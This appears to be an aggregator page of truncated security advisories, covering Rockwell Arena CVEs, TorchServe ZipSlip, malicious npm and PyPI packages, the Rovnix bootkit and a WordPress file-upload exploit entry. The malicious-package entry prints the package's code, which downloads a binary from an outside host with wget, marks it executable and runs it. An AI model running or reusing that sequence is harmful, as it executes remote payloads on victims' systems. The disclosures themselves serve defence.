CVE-2024-2929

Summary: CVE-2024-2929 concerns Rockwell Automation Arena Simulation software with memory corruption flaws due to buffer-related issues that can lead to unauthorized code execution if a user opens a malicious file. The vulnerability family includes multiple memory-corruption variants (out-of-boun...

CVE-2024-21919 Rockwell Automation Arena Simulation Vulnerable To Uninitialized Pointer

An uninitialized pointer in Rockwell Automation Arena Simulation software could potentially allow a malicious user to insert unauthorized code to the software by leveraging the pointer after it is properly. Once inside, the threat actor can run harmful code on the system. This affects the...

CVE-2024-21919

The CVE-2024-21919 entry concerns Rockwell Automation Arena Simulation Software with an uninitialized pointer access vulnerability. Affected product: Arena Simulation Software (version 16.00 listed; later patch 16.20.03 is recommended). Root cause: uninitialized pointer accessible during operatio...

CVE-2024-21913

Summary: Rockwell Automation Arena Simulation Software is affected by a heap-based memory buffer overflow vulnerability (CWE-122) that can allow a malicious user to run arbitrary code by overstepping memory boundaries, triggered by opening a malicious file. Affected product: Arena Simulation Soft...

CVE-2024-21912 Rockwell Automation Arena Simulation vulnerable to out of bounds write

An arbitrary code execution vulnerability in Rockwell Automation Arena Simulation could let a malicious user insert unauthorized code into the software. This is done by writing beyond the designated memory area, which causes an access violation. Once inside, the threat actor can run harmful code ...

GHSA-M2MJ-PR4F-H9JP TorchServe ZipSlip

Impact Using the model/workflow management API, there is a chance of uploading potentially harmful archives that contain files that are extracted to any location on the filesystem that is within the process permissions. Leveraging this issue could aid third-party actors in hiding harmful code in...

Multiple Self-XSS Vulnerabilites

Description Multiple Self-XSS Vulnerabilities are triggered at multiple endpoints. http://localhost:8083/edit/server/ There is a bug in web/templates/pages/editserver.php file. Attacker can control $vtimezone. php ', theme: '', language: '', hasSmtpRelay: , remoteBackupEnabled: , backupType: '',...

Malicious code in as-ui-deals (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 59a46a45592f6c5043e6aa80e3fca0f987b6fad0cd0078499ea75823075847c1 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Potential SHA256 Digest Vulnerability in Solidity Contract

Lines of code Vulnerability details Impact This vulnerability enables the hacker to pass malicious data to the "verify" function, which in turn uses the said data as input for the sha256 function, this can lead to unexpected or incorrect output, potentially resulting in unauthorized access to...

Malicious Package

Overview test-packages-bad is a malicious package. This package downloads and runs malicious code on the victim host. Malicious Code python import os os.system"wget https://dark.devsecwise.com/cronjob.out /dev/null 2&1" os.system"chmod +x /home/$he/.metasploit/cronjob.out" os.system"./cronjob.out...

CVE-2021-40336

A vulnerability exists in the http web interface where the web interface does not validate data in an HTTP header. This causes a possible HTTP response splitting, which if exploited could lead an attacker to channel down harmful code into the user’s web browser, such as to steal the session...

Remote Code Execution

togglee is vulnerable to remote code execution. The vulnerability allows an attacker to inject and execute harmful code and access sensitive user information via a code execution backdoor...

Remote Code Execution

mlscanner is vulnerable to remote code execution. The vulnerability exists in the request package because it contains a malicious backdoor which allows an attacker to inject and execute harmful code and access sensitive user information...

Oh, what a boot-iful mornin’

In mid-April, our threat monitoring systems detected malicious files being distributed under the name "on the new initiative of the World Bank in connection with the coronavirus pandemic" in Russian with the extension EXE or RAR. Inside the files was the well-known Rovnix bootkit. There is nothin...

Security Bulletin: Privilege escalation coverage gap in IBM SPSS Statistics (CVE-2015-7489)

Summary Harmful code may be executed because of privilege escalation coverage gap in IBM SPSS Statistics. Vulnerability Details CVEID: CVE-2015-7489 DESCRIPTION: IBM SPSS Statistics uses python scripts that have write permissions to Everyone. A local user can add malicious OS commands to the pyth...

WordPress Beauty & Clean 1.0.8 Theme - Arbitrary File Upload

Exploit for php platform in category web applications Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8 Discovery Date: 02.09.2016 Public Disclosure Date:03.09.2016 Vendor Homepage: http://www.yourinspirationweb.com Exploit Author: Colette Chamberland Wordfence Contact:...

WordPress Theme Beauty Clean 1.0.8 - Arbitrary File Upload

WordPress Theme Beauty Clean 1.0.8 - Arbitrary File Upload Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8 Discovery Date: 02.09.2016 Public Disclosure Date:03.09.2016 Vendor Homepage: http://www.yourinspirationweb.com Exploit Author: Colette Chamberland Wordfence Contact:...